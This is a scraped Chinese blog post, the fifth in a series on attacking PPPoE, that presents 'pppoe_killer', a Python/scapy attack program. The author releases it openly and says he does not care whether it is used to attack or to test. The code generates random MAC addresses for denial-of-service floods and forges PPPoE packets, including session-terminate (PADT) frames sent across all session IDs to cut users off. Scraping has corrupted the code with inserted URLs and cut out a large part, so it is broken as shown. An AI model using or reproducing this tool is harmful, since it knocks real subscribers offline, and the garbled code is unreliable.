首页 > 代码库 > PPPoE协议攻击5:一个完整的攻击程序pppoe_killer

PPPoE协议攻击5:一个完整的攻击程序pppoe_killer

    经过这段时间的研究,本人和一位朋友写出了一个相对完善的PPPoE攻击程序,我要感谢这位朋友,没有他的帮忙,我估计很难坚持下来写这个程序,研究路上没有一个同伴,很难坚持下去!


    本程序并不完美,但毕竟也是本人的努力成果,奉献给大家,有兴趣的朋友可以拿去研究,程序用途本人并不在乎,攻击也好,测试也罢,无所谓;本人一直认为:杀人的从来不是刀,而是手中握刀的人!

   

    代码如下:


#This is a program to attack pppoe connection.we called her pppoe_killer

#the code is write by me and my friend Lin Yiping

#the program based environment is python and scapy,please install scapy module

from scapy.all import *
import random
import exceptions

#定义一个广播地址的变量
broadcast="ff:ff:ff:ff:ff:ff"


#定义随机的mac地址,供PPPoE dos攻击使用
def mac():
	vmac=[str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99))]
	a=":".join(vmac)
	return a

	
#定义PPPoE数据包的格式,由参数确定该数据包的类型
def packet(src,dst,code,sessionid=0,len=16):
	a=Ether()/PPPoE()
	a.src=http://www.mamicode.com/src"ff:ff:ff:ff:ff:ff":
				sendp(packet(src=http://www.mamicode.com/servermac,dst=b[0].src,code=0xa7,sessionid=range(65535),len=0))>


本文出自 “python小程序” 博客,请务必保留此出处http://mdh6789.blog.51cto.com/7270513/1569866

PPPoE协议攻击5:一个完整的攻击程序pppoe_killer